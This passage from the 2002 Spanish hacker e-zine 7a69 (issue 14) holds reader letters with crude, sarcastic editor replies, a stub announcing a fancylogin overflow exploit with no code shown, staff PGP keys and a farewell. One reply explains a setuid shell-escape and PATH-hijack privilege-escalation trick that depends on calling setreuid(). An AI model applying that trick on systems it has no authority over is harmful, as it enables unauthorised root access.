------------------------------------------------------------------------------
--{ 0x09 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hace poco ke me enteré de vuestra existencia y despues de hecharle un vistazo
a vuestro trabajo os animo a ke sigais ya ke me parecio muy instructivo y
dinamico.

[ T: Vaya, rabiosamente dinamicos e instructivos. Si hubiera premio al
mejor elogio... ]

Chau.

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x0a }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola, nada mas les escribo para felicitarlos y mandarles unos saludos desde
Entre Ríos, Argentina.

[ R: Un argentino... Grata noticia ver que cada
vez nos lee mas gente del otro lado del charco,
y mala noticia la situacion economica de tu
pais... Esperemos que todo se arregle, un
saludo]

Atte. Marcelo

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x0b }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola que tal os va todo?

[ R: De momento bien... esperemos que tu no nos fastidies
la fiesta. ]

[ T: Uhm... 'original rocco'. No creo que nos la fastidie. ]

es la 1ª vez que os escribo...y la verdad es que lo he hecho a través del
google..

[ R: ¿Nos has escrito atraves de google? Joder, tiene merito.
Yo suelo hacerlo atraves del teclaro :) ]

[ T: Dentro de poco, "Escribiendo por el teclaro: Teoria e
implementacion"
. Ripe powered. ]

y era para preguntaros una duda que tengo que la llevo arrastrando desde hace
meses..

la cuestión es que me hackearosn mi cuenta de correo y me mandaron un mail
desde mi propia cuenta diciendome que me habian hackeado y que mi login y mi
password era el siguiente...

y joder era cierto...y no era nada fácil...
y era para preguntaros si sabeis como se hace eso y me lo podríais enseñar,
porque llevo más de 3 meses preguntando por ahí y la gente no tiene ni idea

[ T: Las cosas son sencillas. Saben tu contraseña. La han leido en
algun sitio. Y sin que tu te des cuenta. Has respondido a algun
mail pidiendote informacion confidencial? o has comprobado que
en tu maquina no haya troyanos/keyloggers? La verdad esta ahi
dentro. Buscala. ]

gracias, espero vuestra respuesta

Daniel

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x0c }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola!!

Empece a leer vuestro e-zine a causa de un par de troyanos que consiguieron
meterme y gracias a la revista @rroba, me gustaria aprender cosas sobre
seguridad...pero bueno a parte de eso queria avisaros, aunque seguro que ya os
disteis cuenta, de que al bajar unos numeros de vuestro e-zine, me encontre con
el i love you contaminado un fichero. Si no es mucha molestia me gustaria que
me dijeseis informacion sobre el (lo unico que se es que se propaga por correo)
y como puedo eliminarlo ya que el norton 2002 solo me permite tenerlo en
cuarentena.

[ R: Claro, era el numero en el que realizamos un
analisi del "I love you", por lo que incluimos
su codigo fuente. ]

Un saludo...

[ R: Saludos a Heidi de mis partes :) ]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x0d }--------------------------------------------------------------------
------------------------------------------------------------------------------

HOla. Hace poco ke empece a leer vuestras E-Zines y me he enganchado.estan muy
bien. y estube leyendo el texto de jafar sobre hackers lab y me meti en el
asunto. Se me ocurrio probar los bugs(troyanos) del servidor coreano
simulandolos en mi redhat 6.0.

[ R: El texto de Jafar sobre Hackerslab es un gran
texto, estoy deacuerdo contigo :)]

y tengo dudas:

- Cuando llama a un programa setuid con |more y se para y ejecuto !/bin/bash no
cambia los privilegios(en mi redhat).En cambio en el server coreano si.(no se si
será pork tiene llamada a system o exec.

[ R: Esto es porque no basta con que el binario se
suid para, tras un system lo mantenga, pues
execve 'heredara' el UID y no el EUID. Lo que
debes hacer es llamar a setreuid() antes de llamar
a more. ]

-lo último es ke cuando corro un programa con setuid ke llama por ej a clear.
Me cambio el path para ke encuentre antes un clear(creado por mi enlazado a
/bin/bash).tampoco me va. (sera por lo de system o exec?)

[ R: Lo mismo que antes :) ]

A ver si me podeis ayudar
grax.

[ R: De nada. ]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x0e }--------------------------------------------------------------------
------------------------------------------------------------------------------

En uno de los numeros de la revista comentais la posibilidad de dedicar algun
apartado a la electronica.

[ R: Si, lo recuerdo]

Lo hareis?

[ R: Pues ello depende de las colaboracion]

Salu2

[ R: Salu4]

------------------------------------------------------------------------------

------------------------------------------------------------------------------
--{ 0x0f }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hi,
My name is Johan Malmberg and I am working for LIUtilities, a software
company located in Sweden. We have released a new software, WinTasks 4
Professional, that we think would be very interesting for your readers.
WinTasks 4 Professional has been developed to enhance the Windows
operating system. With an easy to use interface ( see
http://www.liutilities.com/products/wintaskspro/screens/ ) it gives you
complete control over the programs and processes that are running on
your computer. This has made it to a very popular tool among
IT-professionals, system administrators and software developers. For
more specific information about the product please visit
http://www.liutilities.com/products/wintaskspro/0

[ R: Our name is 7a69ezine and we are working
creating free info for all (see at
http://www.7a69ezine.org), it gives you
complete control over your mind. ]

The reason I contacted you is that our spanish market is growing rapidly
and we think it would be interesting for your readers if you
(7a69Ezine), as one of the first spanish publications, would take a
closer look on our software. Please contact me if you want me to send a
full copy for review.

[ R: ¿WTF? ¿Quereis que atraves de 7a69ezine hagamos
publicidad de buestra patraña de producto? ¿No
hay dinero para usar la tele? Bueno, bueno...
Pues nada, a todos los lectores de 7a69ezine, que
sepais que podeis pagar para obtener WinTask4
Professional, que hace tareas tan intresantes como
listar los procesos de tu maquina (algo asi como
hacer ctrl+alt+del), ademas permite monotorizar las
actividades de la maquina (como otro mucho software
gratuito), y mogollon de cosas mas unicas en el
mundo]


Hoping to hear from you soon.

Regards,
Johan Malmberg

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x10 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola
Les escribo este mail para darles a conocer a ustedes
la Ezine de Black Lodge, espero recibir su apoyo con
un link a donde pueden bajar los numeros, gracias.

[ R: Wa0, un ezine con 14 numeros, como nostros! ]

Sitio de descarga:
http://blacklodge.8k.com

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x11 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola,
/utilidades/netstatfuck.c <---
no se encuentra en el servidor o no tiene ese nombre.

[ R: W0ps. Trataremos de solucionarlo ]

Un saludo a todos,

[ R: Otro para ti. Muchas gracias :) ]

^Sp|RiT^

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x12 }--------------------------------------------------------------------
------------------------------------------------------------------------------

hola amigos

[ R: Buenas, amigo del alma ]

sabes tengo un pequeño problema y mi problema es que necesito entrar al
correo de una amiga pero necesito el password asi que si me pueden ayudar
por fabor diganme y yo led soy los datos el correo es en yahoo asi que ya
saben si pueden ayudarme diganem plz

[ R: SI!! Tu novia te pone los cuernos por
el yahoo menssenger. ]

[ T: CON QUIEN? DESDE CUANDO? FULL PINK DISCLOSURE! ]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x13 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola chic@s, me gustaría que me recomendarais un buen canal del IRC para
aprender informática en gral y hack (aunque os leo bastante aun estoy mu
verde... ).

[ R: #sumisas_calientes es sin duda el canal en el
que mas y mejor se habla de informatica. Olvidate
de canales estilo #hack* que son la autentica
peste :) ]

También quiero daros ánimos a que continueis con vuestras publicaciones, da
gusto ponerse a leer una nueva e-zine vuestra.

[ R: Mas gusto da ver a gente agradecida. ]

Chao

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x14 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Buenas, al intentar acceder al numero 13 de la ezine online el servidor me
devuelve el siguiente error:

Forbidden
You don't have permission to access /ezine/files/ver/13/ on this server
.
Apache/1.3.23 Server at www1.7a69ezine.org Port 80

[ R: W0ps.... Mea culpa... Solucionado]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x15 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola ! ;)

Soy la webmaster de hackingparanovatos.com me pongo en contacto con
vosotros para deciros que ya hemos subido todos los numeros de vuestro
ezine a la pagina, incluyendo una imagen y un enlace hacia vuestra
web, por lo que deseariamos que nos incluyerais como Distribuidores
Oficiales.

[ R: ¿"LA" webmaster? /me sets mode +lige
¿De donde eres? ¿Que edad tienes? ¿estudias
o trabajas? ¿Tienes novio?]

Si por algun motivo no quereis que vuestro ezine aparezca en nuestra
pagina, solo teneis que comunicarnoslo y lo retiraremos de inmediato.

[ R: Agh, perona. /me sets mode -lige
Ningun problema en incluir la ezine en
vuestra web... ya estais en la lista de
distribuidores]

Esperando recibir noticias vuestras os saluda HeChiCeRa. :)

[ R: Me hechizaste con tu mirada... ]
[ T: :-?! ]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x16 }--------------------------------------------------------------------
------------------------------------------------------------------------------

felicitarlos por su pagina y comentariso tan buenos
les saluda gilberth soy de COSTA RICA
deseo preguntarles si saben la manera en que puedo
utilizar mi conexion via moden sin ser detectado ni
registrado a la cia que me da el servicio y sin que se
registre el monto en dinero que llevo en mi cuenta
de internet
les agradecere si me ayudan en esta busqueda gracias
saludes

[ R: Quisiera saber si es posible meterme un
elefante por el ano, sin que este se
irrite ni se vea afectado. ]

[ T: Si alguien lo sabe, que se ponga en contacto conmigo.
La ultima vez acabe con dos costillas rotas. ]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x17 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola, les escribo para ofrecerles la posibilidad de intentar formar un
una Red de Webs dedicadas al mundo del Underground y la Seguridad
Informatica. Aunque se que todos utilizamos un sistema de intercambio
de Banners, me parece un sistema que se podria potenciar y mejorar
todavia mas a traves de este "Anillo de Webs", del cual ya me
estoy encargando tambien de meterlo en los principales motores de
busqueda.

[ R: Nunca me han gustrado estos sistemas de intercabio
de banners. Es tipido de las webs que se interesan
por obtener un montonazo de visitas, cuando la mayoria
son bastante tristes i no aportan nada nuevo... con
ello lo unico que se logra es confundir al novato, que
va de un sitio a otro encontrardo en todas partes lo
mismo. Lo siento, pero no queremos tener un monton de
visitas, nos basta con tener pocas y de gente realmente
intresada :) ]

Mi intencion es crear un conjunto de Web de Calidad que tienen como
finalidad la Seguridad Informatica y todo lo relacionado con esta,
para que los usuarios que buscan informacion sobre esto, tengan un
punto de encuentro central en el que poder buscar, ademas del sistema
que tiene cada uno para promocionar a sus afiliados, y el sistema que
deberias incluir en tu pagina para promociona este Webring.

[ R: ¿Conjunteo de Webs de Calidad? Bueno, si es de
calidad... Agh, no. Dudo que nuestra web pueda
calificarse de Web de Calidad (se actualiza muy
poco, no hay noticias, no hay mantenedor fijo...)]

Si necesitas mas informacion sobre su funcionamiento, estare encantado
de ayudarte.

[ R: Si necesito ayuda para ello, seras el primer en
saberlo. ]

Si vas a la siguiente pagina,
http://www.best-secure.com/webring/tops/index.php podras ver como
funciona, con un sistema de Ranking y con posibilidad de gestionar tu
Link.

[ R: ¿Ranking? ¿Tambien se compite? Como mola!! ]

Igualmente, si tienes ideas que aportar me las puedes decir para ver
como implantarlas.

[ R: Solo se que no se nada ]
[ T: (c) Socrates ]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x18 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola chic@s, me gustaría que me recomendarais un buen foro
para aprender informática en gral y hack (aunque aun estoy casi empezando)

[ R: Prueba con el foro de 7a69, esta en
http://forum.7a69ezine.org ]

También quiero daros ánimos a que continueis con vuestras
publicaciones, da gusto ponerse a leer una nueva e-zine vuestra.

[ R: Mejor que un orgasmo, eh!? :) ]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x19 }--------------------------------------------------------------------
------------------------------------------------------------------------------

Bueno, que soy el FoMPi (sí, la fompatrompa con el culo en pompa; ese mismo...)
y me estaba rayando leyendo las pajas mentales que pasteurizais (sí, como la
leche) en texto escrito... Bueno, al menos son útiles, no como las mías, que
lo único que hacen es dejarme el teclado pringoso y... ui, no, esas no son las
mentales...

[ R: Dah! dah! dah! ¿Que tenemos aqui? Alguien que
parece haberse escapado del 'loquero' mas cercano.
Sir.FoMPeTe tocate el culete, podria hacerte una
recomendacion para no machar el teclaro... Antes de
hacerte una paja de esas, ponte un condon. Si la
economia no da para condones, puedes probar con un
calcetin :)]

[ T: A mi con una media me llega, todo y que algo justo. ]

Joer, cómo me rayo; no dormir es malo; pero ahora que, encima, han quitado
Doraemon de la programación matutina, ya no sé qué hacer con mi vida; ¿me dedico
a la endogamia? [OT: Amo Mozilla, peta con rae.es] mis amigos dicen que soy un
buen coprofílico, pero yo sé que es mentira, puesto que mis amigos me dan
miedo...

Ya no sé qué más decir... He visto que Ripe decía que nadie escribía y yo, cual
truhán dispuesto a prostituirme por cuatro míseros céntimos, heme aquí
escribiendo... Yayayaya... Que cuando me voy a verte, ¿no? Pues dentro de dos
días cobro y... Para qué mentir, tengo fiesta los 365.25 días del año; ya me
pasaré a amarte en tu sofá sexual y a que me presentes a mujeres violables y
rancias y a otras mujeres agradables y susceptibles. Tuxi: si me pagas un café
bajo, Sr. BB. Anarion: en la tele salí con el camello (te lo prometí) en el
bolsillo. No me acordé de sacarlo. Mea culpa.

Bueno, gentuza, os dejo... Si alguno quiere sexo anal, creo que todos sabeis el
número de mi party line... Mejor no lo pongo aquí porque no sé quien es el
responsable de leer esto y no tengo ganas de saberlo... Quien lo lea, ya me dará
el toque mañana, supongo :P

Extremoduro - Estoy muy bien.ogg
Ismael Serrano - Canción de amor propio.mp3

[ R: siempre me ha gustado saber qué escucha la gente mientras escribe. ]

Sus amo. No, a todos no. Os jodeis. Sí; a tí sí. :)

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x1a }--------------------------------------------------------------------
------------------------------------------------------------------------------

es un gusto poder saludarte
sabes soy nuevo en el mundo de las computadoras
y quisiera poder aprender lo mas posible
quisiera que por favor me des algunos
de tus consejos,
soy de honduras
mi nombre es nestor

saludos

[ T: Leer. ]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x1b }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola que tal?? bueno yo les o te escribo por que unos amigos me dijeron que
con ustedes yo podria confiar para hackear un e-mail de un chavo que es un
fastidio muy pero muy grandeeeeeeee asi que me gustaria que me explicaran como
yo podria hacer eso, la verdad les agredesco la ayuda q me puedan ofrecer.

[ T: No, no vamos a ayudarte. ]

Bueno y hablando de todo un poco, essste q edad tienen o tienes.

[ T: Fecha actual - Fecha de nacimiento. ]

la verdad que todavia no me han dicho si son 2 o mas chavos o es que si son uno
(eso no me lo quieren decir mis amigos) bueno me gustaria mucho que esto
conversacion fuera confidencil o mejor dicho privada..... por cuestiones de
seguridad ya que el chavo q es una fastidio no se como caramba lo hace pero sabe
todo lo que yo hago en internet, en q chat estoy y bueno me tiene la vida
averiguada despues que le mostre mi foto inmaginence que hasta me llama por el
celular para ver dodne estoy es un verdadero fastidio.....

[ T: Somos mas de 2. ]

La verdad siento mucho la molestis y me gustaria que me respondieran con la mayor
vebredad posible ya que no soporto mas a este sujeto asi q en cuanto tengan un
chance me lo dediquen MUUUUUUCHAS gracias de verdad........

[ T: Vebredad no se, pero 6 meses mas 6 meses menos... que mas dara. ]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x1c }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola Queria felicitarlos por su E-zine ya que e
estado leyendo su zine y tienen unos muy buenos
articulos en ellos sigan pa' lante. a los que les
escriban cosas que no los animen mandenlos pal'
CARAJO!

[ T: Desde luego, es un buen consejo. ]

y ustedes pa'lante siempre que van bien! yo soy de
Puerto Rico! pa que vean que asta aca leemos su
E-zine!

[ R: Bueno saberlo :-)]

openBSD 3.1 & Debian 2.2

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x1d }--------------------------------------------------------------------
------------------------------------------------------------------------------

Somos una Organización de Informática e Internet. Nos llamamos Europe KiLLNeT
NeTWoRKS. Nuestra web es www.eknn.com y les escribimos este correo para
pedirles que incluyan nuestra URL en su sección de enlaces. De antemano
decimos que no somos una team hacktivista, ;)

[ R: ¿Europe KiLLNeT NeTWoRKS? Joder, el nombre da miedo. ¿Os
dedicais a realizar assesinatos atraves de la red?
Terrorifico. ¿Y el nombre lo teneis patentado con esa
intercalacion de mayusculas y minusculas? Yo patentaria
todas las combinaciones, no sea que os pase como a
Debian]

Gracias!

[ R: A vostros. Ya era hora alguna organizacion se encargara de
ofrecer asesinos a sueldo para la red.]

------------------------------------------------------------------------------


------------------------------------------------------------------------------
--{ 0x1e }--------------------------------------------------------------------
------------------------------------------------------------------------------

Hola, soy un chaval bastante jovencillo, siempre me ha
llamado la atencion el tema de la seguridad, networking, programacion,
linux?. Y me he intentado acercar al maximo a este mundillo; trasteo
todo lo k puedo con linux y c? pero no se ni donde buscar docs, ni ke
docs leer , ni que foros visitar, etc?para documentarme y empezar a
hacer mis pinitos

[ R: Yo siempre que me hago una pregunta voy a google.
Podrias ir a google y pone "donde buscar documentacion
sobre c y linux"
. Quiza tengas suerte y encuentres
un documento que te explique como buscar informacion.]

Aquí es dodne espero que entreis vosotros, y me podais hechar un cable
en ese aspecto, espero vuestra respuesta con muchas ganas.

[ R: Iep, google :)]

Me despido sin antes felicitaros por el trabajo que haceis con el ezine.

[ R: Muchas gracias por despedirte sin antes felicitarnos.]

Cya!

------------------------------------------------------------------------------

(*) E-mails UltraChorra omitidos.


Ya sabeis, que si teneis alguna opinion/critica/articulo en 7a69 sabemos
escuchar... basta con que mandes un correo electronico a
staff@7a69ezine.org :)


*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 19 - 7a69Soft. }{ Staff }
|-----------------------------------------------------------------------|



Una vez mas la seccion con nuestro software. No hemos podido aportar
muchas cosas (pues la mayoria estan aun en desaroyo), asi que hemos tenido
que recurrir a un exploit. Y direis, ¿Pero 7a69 no estaba en contra de la
full disclosure? La respuesta es que no todos, y, de todos modos este exploit
pasaria el filtro de la politica non-full disclosure, pues se trata de un
exploit realmente viejo que no habiamos publicado hasta ahora.


int main() {
read("all");
}




#define PROGRAMAS

#include "/dev/null" /* Lo lamentamos :( */




#define EXPLOITS

#include "7a69Soft/fancylogin-xpl.c" /*
* TILE: Linux fancylogin < 0.99.7
*
* AUTOR: Ripe - <ripe@7a69ezine.org>
*
* DESCR: Classico buffer overflow en un
* parametro de fancylogin.
*
*/



*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 20 - Llaves PGP. }{ Staff }
|-----------------------------------------------------------------------|



Visto como esta el panorama actual, desde 7a69 recomendamos el uso de
PGP para el intercambio de correo electronico. Be paranoid. Aqui tienes las
llaves PGP para comunicarte con nosotros.



---[ staff ]---/ staff@7a69ezine.org /---

Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBDvSJQYRBAC3CSUDl9wCd44xgIIlK0xmuxCRvDc3kePcn30sU9dHoT1BQw9x
S5c6hVc2X6+q85kOak8d4+dH8AVeYtJGmPTtxBg/8dofhGnygXH4unDu2UZRh3TA
GAlNzAvFoBvZW23/vtSbZUWJNf58LcEURMMK8/DE6usqk+sssg4kf5JPowCgw0OL
yoO7JT7jMTLUDokZz1aLK70D/igwsUkObUJLXZYYnjMpOoVpEZzwCkmjxIPhQLu3
98a5SqdyqU6oet2dIU8XA7jZ0uhJ31j6E+jmBZ8WCaQIkwJZYQ7za68YhUJ1rJEK
/qYeXwh9kbnfmQyqMEbsMeby7wghW8Mk6q7xYcWauRiUN19MzLuf7IOFqZvAzNXD
20FjBACS6Xzv39cYU2GqeH66/kIdrrL4U67rjFGJ4nB0o/xctcvAZGjVZS1d5SFi
sx6g5251WqMIDySFp6Bhc4IgwjaKTAjcUQjMeVah8CTQQk9piTLcTWJCmyxDk8B7
glZzmlcMsZXXEGCaYLF0c7T9kmaVFIZkV/1FhvKeu6axXFIcXbQbU3RhZmYgPHN0
YWZmQDdhNjllemluZS5vcmc+iFcEExECABcFAjvSJQYFCwcKAwQDFQMCAxYCAQIX
gAAKCRB9tTImuFDQ3xuQAJ93Mf+ymdd0G8TUXro/LQzoJ2T5cQCeO4yJW1zQA+XJ
zkArxI/zuPKj+625AQ0EO9IlCRAEAIxL0YX/wdRTFdg4TWxGbQ8ueNFOi2bEP0dx
oCjBVcFFbyxaOOf4e37s8FmsYcimf9/ccFjwy9zOuwwYoH14cJMcVS9i9sykSJfa
u0S5noJvCYX5234nskH98/mNiapodgljVq5RfmdeyPs7oCjtRobx4zg/s0kC52LN
nRztBmfnAAQNA/9QUu1MIYTM8WDXJf4h5c5ns8M0pxQQH8R3r7aXZRyoOlOUvYxu
cIb769Pzq79EwRxCkzRSSwBz30GM5O7CXd/sytL+AgE35XUm26QjI6VZ+Ky3BR9W
o8xihYEMjFD0/AqpF8QjQgUvAaGVxpBqhKlqhgGC+PqaPAwcfbZtjfQpL4hGBBgR
AgAGBQI70iUJAAoJEH21Mia4UNDfIZUAn3TVCdXagvnnY6oluj+4MS4YRmh0AKC2
aE8EyV46KhpLWBfMJu7mgrt1bg==
=bIaJ

---[ staff ]---/ staff@7a69ezine.org /---



---[ tuxisuau ]---/ tuxisuau@7a69ezine.org /---

Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBDsdZGQRBADCIxNbNFE1VPwpVpx44UzZGdSpwYq2nmSxSyDRR/CnbBdTIc5/
kjzp8byv/ptXvzwo/GWvFG75n3tMFnN6yZbMKS2SvXlhZNx0xlrlOUJqHXik7BPD
K1meOKFZZ9/u/KIbg7ypa7T+/Xiw0RiwennY4pYa1YB6ifrk5G8CWuD5owCguA43
KNDqxlwom2BPdwr/9x/YNbcD/jVKkiqsoIH9HxLs4GjKpoIf2ZXCoYWUaoE2D53c
6t1Nc0UxmWCo31x93LQLWXzQqQE29COplUe25fhdKCiwqPe455DAKRAX4qQTioO4
H3SUQQxp/hPno2k+RKO9njYdmN/Vo6K0Co8ANVXDxWy0I/sOQiy7mZ8+hGml9hUc
PTWyA/4o6OjROkqiO/dEb3VQ6C7gC/7xWP/Vx+UA4MJyUK1cUulsOo8Id7oQc2x5
RUBbOm1bCO4BC0Dg/GDjEcxgV88kpTk6BbFvyyoKOcsrp6zVcVNeZx5hViBrgsQ1
R0oBoNcQrTHVuupYW0WftLuW046Vyp0ovdVEpiCRVTkp5wvJbbQ4dHV4aXN1YXUg
KHR1eGlzdWF1IC8gN2E2OWV6aW5lKSA8dHV4aXN1YXVAN2E2OWV6aW5lLm9yZz6I
VwQTEQIAFwUCOx1kZAULBwoDBAMVAwIDFgIBAheAAAoJEDbTRljVqGsxGEQAmwVZ
edPzqXl94azlj8y4nTc3iDxLAJ95vTe+ojPJCetENoZOsABvJHjj27kBDQQ7HWRn
EAQAyS2+23Z3qaHLtehAAjj8XPYDuUEZhygdN2b1Y5Y1Dx6TcMIWWnPu2i+PTsAU
yoWctY+wq1aqy3fq7QqrJvH0nc0J6v9Hb/UAJWQ0AEYAmS3ltCFSs9XQlnyLxKmt
3XAz8GNkCymBIg9Y8QTL3s6ZmLfyJVt3cuJe57kZWfvbsIsAAwYEAJwT/YyJENDG
oKIYecEcxz9fBzE9tujxn/7BdhQ+P6cNyCMe8RiFGDb9IXYNFGdpnRbjydL3U3Cn
be8xoEjK+wWcj4C9SKw19G/i2mKgZCUKZ8PydwvH5D1KgawNsc3Y4VSDItNVWzKa
rq4/z3K+xwUzKtlA0ToXWQkmTVihGC0JiEYEGBECAAYFAjsdZGcACgkQNtNGWNWo
azG3+QCgjBUVr0bdUff+BzIjPQhYsirNF+YAoJ18VlkSybzS2Mddn26+7SIntppV
=cCTA

---[ tuxisuau ]---/ tuxisuau@7a69ezine.org /---



---[ ireick ]---/ ireick@7a69ezine.org /---

Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Gnome PGP version 0.4

mQGiBDuzPkkRBADTC8dJqxzpd0Wy6kL106AVPT4KDLqR0yY/vs0Sm0NAOzQuJI1w
GQG2josgN91azF1UirPbDRMK6EY1VEQGqhZ3lutCoa5w3tGbhiqmozXQieLItL41
lSNp/8A9vtelvAK75ctKzO5exLSUe0mKwiAUgqWvZmMa577IoGiYA8Ab/wCgvlfr
3Vke9N1RSJo3BSY1aT9GdSkD/2ER7dEiN5I0Oav8p/PLmP3N7CfTMhebvN5YyLcL
0bOUfgX7S8D9mP28Lmi3rU10GcPNMm3Ovr4HhBBet7lPabUeqrxtsYefNbo5u8pT
c5yg5g3GA9fW4WN+qQN0Hvw4tBUnxrI6WrjI5VAdbpWFDP2Tdjq2DHQRgb9v5Ha7
C/XCA/4xzo7i60GNcZnkUY4EbI5nkF6p92GZw2S3PtjUxUgivT4OlYb2VRzREklf
jjfUOXdQ7qMGDAVPucLZpvpYN0yVR1qhJa+TJYrAwyuzw/CbR/X8r1vCGBAHHbxf
NJ9XdPaUqVu4BE08YG3zhHfIWHWuwB0S8MSaIlqop0JP7HI2ubQdaXJlaWNrIDxp
cmVpY2tAN2E2OWV6aW5lLm9yZz6IVwQTEQIAFwUCO7M+SQULBwoDBAMVAwIDFgIB
AheAAAoJECWqUFPmUg390wkAnjl4kWxIUlhkGHmAQuZt5QJVWaY/AJ0Ta7GJpmVQ
CpnT21Gzfqy1XYJ0DbkBDQQ7sz5MEAQA4N13LoE096UV+C76YkPSTJLActiN5qqu
9aAZlsG64Ir/VOXa5nsZN0O3Tx5SRxTlGq7L4Y6l9P5rmsGtYJpHWoZFaEx3EBpn
ucreSzna1m834miJxK1QXEk9W8V0XnTBsS+ZAxkH1DiTzDeLbUHvrBihUV1simyJ
eIc9j/YJiZ8ABAsD/jl7vW3EFaufbunpnfFBXE+rUFdCqRMwYaLQkfUFD5zP/b6u
lQV8op2aGslOaBzWV2X7OFdtY8fdjaInvEGMlJwbaKTTaGVRw+6CelV8GBrGkIku
8QGmx5e+AUWeB67FZzdecfu9Mw0gJF+bmky5W5EiFfKDxmHpBtYYlGZBJnkniEYE
GBECAAYFAjuzPkwACgkQJapQU+ZSDf367wCcC7rJw1D6GwXb5XJ7EfavjzV2+hkA
oKum9N9MP/L9DZdpuPvfn29dRq/m
=OeAb

---[ ireick ]---/ ireick@7a69ezine.org /---



---[ trycky ]---/ trycky@7a69ezine.org /---

Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBDxC4bsRBACETSH7cg8fTPoKUM9GL1dOm8lSfuuwCezzeZmZ/a6YIUiKatkY
/KFejm6oWbOxxgg/tQDP3BIdWRSRGqLmf4E59TnDoWY5EU2Jw7JXTnMO3A1BHv1i
37wSFWKwTHPftyTuxuAUt4BZKV9GOY2HKJShlbJDgknXnq4VjSzR/ZcjUwCguJE1
TBRMnuAZ/kX6eeBGAUp9qD0D/iUh/f1gwRVitFeeNfHOymLvzKEtnfDvh7483Jf5
xbD4YxxSiSK+oDHinMZdtkvl4m2+FzyoM2bw7HuBj8Ia/wvSZAxMpqq+POnKkwoz
5Dotezte/YnKr5AZ7lWWBc+qumScYFxJaE6bwYowlLxWVnVMQ+2lcZgMf8NuQOWK
zxyqA/oDKgIyoklxUOnxcoZluWqrv9esGznISzdxqPsGqFxXS8lxXMoJ1VzJRSjj
dIWACEokDW+ac6AN9CqYtbmrVCqXMIBodWO+BtRBLDobOtBJcZq0qLwIhqDtELkx
8zs1zYtsk0a30zajqqhjahmR/v2Uzcj1RIQyMe5SLdsjW7lLsbQrdHJ5Y2t5ICh0
cnlja3kjN2E2OSkgPHRyeWNreUA3YTY5ZXppbmUub3JnPohXBBMRAgAXBQI8QuG7
BQsHCgMEAxUDAgMWAgECF4AACgkQ7iFRTugJjSsPQACaAqGsH1kYbTdPfrXUaOmh
ojqKkYcAn2hjzICV3m6WrQlkNKkoc7e0hjjquQENBDxC4cAQBACNKw3cf6KKlf3b
sr/cT91Az1sk3WqLX2yHQXWRp5rJF4ordUqKeXk1hn3WzzWS+P2AZ4LAOhuBsRM4
7NTqPG5874XlUhZsAVWeXEvjWWMvoXDaXUVyeJHF6kzzcTPOMk4ZUyj5LnBayotn
HdriB9Pvswahw02x8/F6sb7DbMO+UwADBQP+IN2ZhEy7oWgsCunZZkTq2tpHuA+D
TUp+qanVeZuRJPzTXBDtISFjkHmu6U32/4F1uuAsjTZ040fmPjim1Zn4+GR4pFVf
T+soySrL5/IL13pqHhyowQW/HumxqbKrVa81PtANebYaREBP1ZEz5kT7MCGNh8sM
AQ8+vlRUW1waTNyIRgQYEQIABgUCPELhwAAKCRDuIVFO6AmNK/VKAJ9IDNK0yyWT
P/w4/Sd1UD8GNMaGsACfSrSBXbDVXrnIlape/e8fnZ4A2bA=
=Ah9y

---[ trycky ]---/ trycky@7a69ezine.org /---



Recordamos... Be paranoid.

*EOF*


|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 21 - Despedida. }{ Staff }
|-----------------------------------------------------------------------|



Aqui terminan esta cantidad de bits de informacion, al igual que el
calor, que hasta hace pocos dias aun nos tomentaba por las noches.

Adios. Nos vemos en el proximo numero; ¿Quien sabe cuando? Esperamos
vuestras colaboraciones, peticiones, felicitaciones... al mail de siempre. Los
correos que mandeis, estilo... "Quiero ser hacker...", "Ayudadme a
hackear..."
, "¿Como me meto 2, y no una, por el *j*te?" ...seran totalmente
ignorados, al igual que los correos que contengan informacion sensible y no
esten debidamete encriptados.

*EOF*

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
